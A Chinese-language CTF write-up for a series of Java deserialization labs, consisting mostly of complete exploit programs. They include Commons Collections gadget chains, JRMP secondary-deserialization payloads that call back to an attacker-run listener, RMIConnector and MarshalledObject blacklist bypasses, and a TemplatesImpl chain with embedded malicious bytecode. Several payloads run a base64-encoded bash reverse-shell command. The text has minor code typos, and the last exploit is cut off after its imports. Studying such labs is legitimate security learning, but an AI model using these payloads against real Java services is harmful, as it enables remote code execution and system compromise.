JavaDerserializeLabs-writeup

Lab1

还是先反编译jar包看源码

image-20220413195402819

直接给了反序列化点,然后还有一个Calc

image-20220413195450133

直接反序列化Calc类执行命令即可

Calc

package com.yxxx.javasec.deserialize;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class Calc implements Serializable {
    private boolean canPopCalc = true;

    private String cmd = "bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}";

    private void readObject(ObjectInputStream objectInputStream) throws Exception {
        objectInputStream.defaultReadObject();
        if (this.canPopCalc)
            Runtime.getRuntime().exec(this.cmd);
    }
}

EXP

import com.yxxx.javasec.deserialize.Calc;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class lab1exp {
    public static void main(String[] args) throws Exception {
        Calc calc=new Calc();
        System.out.println(objectToHexString(calc));
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220413205442931

Lab2

image-20220413210915550

可以看到,在readObject之前,还会readUTFreadInt,所以我们除了序列化对象,还要写入UTF及Int。先寻找一下可用的gadget。先看下pom.xml

image-20220413205712955

cc的依赖,直接拿cc链打,jdk是8u221,cc1用不了,选择用cc6

EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class lab2exp {
    public static void main(String[] args) throws Exception {
        Map old = new HashMap();
        Transformer[] x = new Transformer[]{
                ConstantTransformer.getInstance(Runtime.class),
                InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}"})
        };

        Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
        Transformer chain= new ChainedTransformer(fakeTransformers);
        Map newmap = LazyMap.decorate(old,chain);
        TiedMapEntry entry=new TiedMapEntry(newmap,"novic4");
        Map ht=new HashMap();
        ht.put(entry,"novic4");
        newmap.remove("novic4");
        Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
        trans.setAccessible(true);
        trans.set(chain,x);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(ht);
        oser.close();

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220413211450183

Lab3

image-20220413212921300

lab3中用MyObjectInputStream替换了ObjectInputStream,看一下其源码

image-20220413213038937

MyObjectInputStream其实也就是重写了resolveClass方法,看看和ObjectInputStream有什么区别

image-20220413213138436

就是加载类的方式改变了,ObjectInputStream使用Class.forName加载类,而MyObjectInputStream使用URLClassLoader.loadClass加载类。这两种类加载方式的主要区别就是URLClassLoader.loadClass无法加载数组,写个demo来说明

image-20220413215308870

shiro中就使用这种类加载方式,但shiro中java原生类的数组还可以加载的,而这个题是所有类都是用loadClass方法加载,所以之前的shiro反序列化的EXP在这里也是不能用的,因为TemplatesImpl中的bytecode的值是个二维字节数组。根据题目名可知,这里要结合JRMP协议实现二次反序列化攻击。

因为要在序列化流中写入字符串和数字,所以不能直接用ysoserial生成payload。改一改大师傅的EXP,源代码地址:https://github.com/lalajun/RMIDeserialize/blob/master/RMI-Client/src/main/java/com/lala/Bypass290.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class lab3exp {
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static void main(String[] args) throws Exception{
        //获取UnicastRef对象
        String jrmpListenerHost = "ip";
        int jrmpListenerPort = port;
        UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

        //通过构造函数封装进入RemoteObjectInvocationHandler
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
        //所以接下来bind可以填入proxy
        Registry proxy = (Registry) Proxy.newProxyInstance(lab3exp.class.getClassLoader(),
                new Class[]{Registry.class}, obj);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(proxy);
        oser.close();

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

然后利用ysoserial开启一个JRMPListener

image-20220414174835602

然后将生成的payload打过去

image-20220414174919795

成功反弹shell

Lab4

lab4lab3的项目代码是完全一样的,区别就在docker-compose.yml

image-20220414175918773

很显然lab4中设置了不出网,这就使得lab3中的解法无法用于lab4。那么就只能找一个不含数组的本地gadget了。这里还是利用CC依赖,既然不能有数组,那也就代表不能使用ChainedTransformer了,看了一下几种Transformer,最有可能被利用的应该就是InvokerTransformer了,利用这个Transformer可以实现调用任意方法。但这里真的能调用任意方法吗,看一下其构造方法

private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

可以看到,调用方法的参数类型和参数值都是数组类型的,这也就代表着在该题目环境的限制下,只能调用无参方法。那么我们就要通过这个无参方法实现RCE或者二次反序列化,刚好之前学Hessian反序列化的不出网利用时用到了java.security.SignedObject#getObject进行二次反序列化,这里感觉应该也可以用,试一下

EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.security.provider.DSAPrivateKey;

import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Map;

public class lab4exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
        SignedObject signedObject=new SignedObject(getObject(), new DSAPrivateKey(), new Signature("xxx") {
            @Override
            protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

            }

            @Override
            protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

            }

            @Override
            protected void engineUpdate(byte b) throws SignatureException {

            }

            @Override
            protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

            }

            @Override
            protected byte[] engineSign() throws SignatureException {
                return new byte[0];
            }

            @Override
            protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                return false;
            }

            @Override
            protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

            }

            @Override
            protected Object engineGetParameter(String param) throws InvalidParameterException {
                return null;
            }
        });

        Map old = new HashMap();
        Transformer invoke=new InvokerTransformer("toString",null,null);
        Map newmap = LazyMap.decorate(old,invoke);
        TiedMapEntry entry=new TiedMapEntry(newmap,signedObject);
        Map ht=new HashMap();
        ht.put(entry,signedObject);
        newmap.remove(signedObject);

        Field iMethodName=InvokerTransformer.class.getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(invoke,"getObject");

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(ht);
        oser.close();
        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
        Map oldx = new HashMap();
        Transformer[] x = new Transformer[]{
                ConstantTransformer.getInstance(Runtime.class),
                InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
        Transformer chain= new ChainedTransformer(fakeTransformers);
        Map newmapx = LazyMap.decorate(oldx,chain);
        TiedMapEntry entryx=new TiedMapEntry(newmapx,"novic4");
        Map htx=new HashMap();
        htx.put(entryx,"novic4");
        newmapx.remove("novic4");
        Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
        trans.setAccessible(true);
        trans.set(chain,x);
        return (HashMap) htx;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220414223209429
这个EXP使用ObjectInputStream可以成功,但是使用题目的MyInputStream就不行了,会报invalid type code: AC,问题应该出在读取序列化数据的过程中。原因我觉得应该是序列化字节流中嵌套了一层序列化字节流,然后读取到嵌套的数据流时引发了一些奇怪的问题,目前还没有找到解决方法。

那么只有换一个利用点了,这里换一个师傅文章里看到的利用点,也是通过触发二次反序列化实现RCE。具体触发点在javax.management.remote.rmi.RMIConnector#findRMIServerJRMP

image-20220418210203743

该方法会反序列化base64编码的序列化字节流,看下利用链

connect()->connect(Map<String,?> environment)->findRMIServer(JMXServiceURL directoryURL,Map<String, Object> environment)->findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)

简单捋一下流程,从connect的有参方法看起

image-20220418211036174

前面无关紧要,直接看到这里,如果rmiServer为空的话就会调用findRMIServer方法,传入的参数中jmxServiceURL是我们可控的,不过该参数作为一个JMXServiceURL类型的对象,其URL需要满足一些要求

image-20220418211332153

简而言之就是URL格式需要为service:jmx:protocol:sapsap的格式为//[host]:[port][url-path]

image-20220418211738333

如果url-path/stub/开头就会将后面的部分作为base64字符串传入findRMIServerJRMP方法

写下EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.security.provider.DSAPrivateKey;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class lab4exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
        ByteArrayOutputStream tser = new ByteArrayOutputStream();
        ObjectOutputStream toser = new ObjectOutputStream(tser);
        toser.writeObject(getObject());
        toser.close();

        String exp= Base64.getEncoder().encodeToString(tser.toByteArray());

        Map map=new HashMap<String,Integer>();
        RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),map);

        Map old = new HashMap();
        Transformer invoke=new InvokerTransformer("toString",null,null);
        Map newmap = LazyMap.decorate(old,invoke);
        TiedMapEntry entry=new TiedMapEntry(newmap,rmiConnector);
        Map ht=new HashMap();
        ht.put(entry,"xxx");
        newmap.remove(rmiConnector);

        Field iMethodName=InvokerTransformer.class.getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(invoke,"connect");

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(ht);
        oser.close();
        System.out.println(ser);

        System.out.println(bytesTohexString(ser.toByteArray()))
    }

    public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
        Map oldx = new HashMap();
        Transformer[] x = new Transformer[]{
                ConstantTransformer.getInstance(Runtime.class),
                InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"cmd"})
        };

        Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
        Transformer chain= new ChainedTransformer(fakeTransformers);
        Map newmapx = LazyMap.decorate(oldx,chain);
        TiedMapEntry entryx=new TiedMapEntry(newmapx,"novic4");
        Map htx=new HashMap();
        htx.put(entryx,"novic4");
        newmapx.remove("novic4");
        Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
        trans.setAccessible(true);
        trans.set(chain,x);
        return (HashMap) htx;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220418222230694

Lab5

lab5MyObjectInputStream中重写了resolveClassresolveProxyClass方法,将org.apache.commons.collections.functorsjava.rmi.server加入了黑名单,来防御反序列化。

image-20220419164754695

不过还给了一个MarshalledObject

image-20220419164815764

可以看到其readResolve方法中进行了一个反序列化操作,如果能调用到该方法,就可以实现二次反序列化。

image-20220419165106367

图为ObjectInputstream在反序列化对象时的函数调用关系,橙色部分是调用readObject或readExternal函数后执行的代码。当反序列化的类存在readResolve方法时,就会进行调用,所以直接构造EXP

import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class lab5exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        MarshalledObject marshalledObject=new MarshalledObject();

        ByteArrayOutputStream tser = new ByteArrayOutputStream();
        ObjectOutputStream toser = new ObjectOutputStream(tser);
        toser.writeObject(getObject());
        toser.close();

        Field bytes=marshalledObject.getClass().getDeclaredField("bytes");
        bytes.setAccessible(true);
        bytes.set(marshalledObject,tser.toByteArray());

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(marshalledObject);
        oser.close();
        System.out.println(ser);

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
        Map oldx = new HashMap();
        Transformer[] x = new Transformer[]{
                ConstantTransformer.getInstance(Runtime.class),
                InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                //InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"calc"})
                InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"bash -c {echo,base64命令}|{base64,-d}|{bash,-i}"})
        };

        Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
        Transformer chain= new ChainedTransformer(fakeTransformers);
        Map newmapx = LazyMap.decorate(oldx,chain);
        TiedMapEntry entryx=new TiedMapEntry(newmapx,"novic4");
        Map htx=new HashMap();
        htx.put(entryx,"novic4");
        newmapx.remove("novic4");
        Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
        trans.setAccessible(true);
        trans.set(chain,x);
        return (HashMap) htx;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220419170920501

Lab6

lab6lab5的基础上修改了resolveProxyClass方法,将java.rmi.registry加入了代理类黑名单,并且去掉了MarshalledObject。这里想到的就是通过lab3使用的JRMP二次反序列化来搞,不过这里将lab3中使用的java.rmi.registry加入了黑名单,所以要找个替代的接口,看到有大师傅用的是java.rmi.activation.Activator,不过看到有师傅说随便一个接口就行,这里还是用java.rmi.activation.Activator

EXP

import sun.rmi.server.UnicastRef;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.RemoteObjectInvocationHandler;
public class lab6exp {
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static void main(String[] args) throws Exception{
        //获取UnicastRef对象
        String jrmpListenerHost = "ip";
        int jrmpListenerPort = 7777;
        UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

        //通过构造函数封装进入RemoteObjectInvocationHandler
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
        //所以接下来bind可以填入proxy
        Activator proxy = (Activator) Proxy.newProxyInstance(lab3exp.class.getClassLoader(),
                new Class[]{Activator.class}, obj);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(proxy);
        oser.close();

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220419193310477

起一个JRMPListener

image-20220419193402229

然后看到还有一种绕过方法,就是直接反序列化UnicastRef,进而调用sum.rmi.server.UnicastRef#readExternal

EXP

import sun.rmi.server.UnicastRef;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
public class lab6exp {
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static void main(String[] args) throws Exception{
        //获取UnicastRef对象
        String jrmpListenerHost = "ip";
        int jrmpListenerPort = 7777;
        UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(ref);
        oser.close();

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

Lab7(待解决)

黑名单中又添加了sun.rmi.server.UnicastRef,导致上面两种方法都不能用了,不过我们只需要找一个与java.rmi.server.RemoteObjectInvocationHandle替换即可,也就是寻找java.rmi.server.RemoteObject的子类,如:

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

然后直接

UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

ReferenceWrapper_Stub referenceWrapper_stub = new ReferenceWrapper_Stub(ref);

ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(referenceWrapper_stub);
oser.close();

但是事情并没有这么简单,看到dockerfile

image-20220420170501687

javax.management.BadAttributeValueExpException被加入了反序列化过滤器,于是上面的payload打过去就会得到

image-20220420170633791

Lab8

出题人貌似打包错了,还是lab6的文件

Lab9

应该是根据7u21那条链改出来的一道题,先看一下给的MyInvocationHandler

image-20220425212742077

有一个type属性,然后在invoke方法中就会遍历type的成员方法并反射调用,要注意的是这里调用的方法需要是无参的。,其实这个InvocationHandler就是把7u21链中的AnnotationInvocationHandler#equalsImplAnnotationInvocationHandler#invoke结合起来了,且相比于原7u21还少了两个限制

  • 不需要调用方法名为equal
  • 不要求参数只有一个

还是借鉴7u21中元素比较的思想,且因为少了限制,这里可以用PriorityQueue来构造EXP,先在本地测试一下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class lab9exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        MyInvocationHandler myInvocationHandler=new MyInvocationHandler();
        myInvocationHandler.setType(Templates.class);

        Comparator comparator= (Comparator) Proxy.newProxyInstance(lab9exp.class.getClassLoader(),new Class[]{Comparator.class},myInvocationHandler);1

        PriorityQueue priorityQueue=new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(1);

        setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
        setFieldValue(priorityQueue,"comparator",comparator);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(priorityQueue);
        oser.close();

        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        objectInputStream.readUTF();
        objectInputStream.readInt();
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220425213610995

测试成功,然后写一下题目的EXP,要注意的是我是在本地新建了一个MyInvocationHandler类,直接用来序列化的话会报serialVersionUID不相同的错误,所以要设置一下serialVersionUID

private static final long serialVersionUID=62432441011093559L;

Code

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Code extends AbstractTranslet{
    public Code() throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,base64命令}|{base64,-d}|{bash,-i}");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
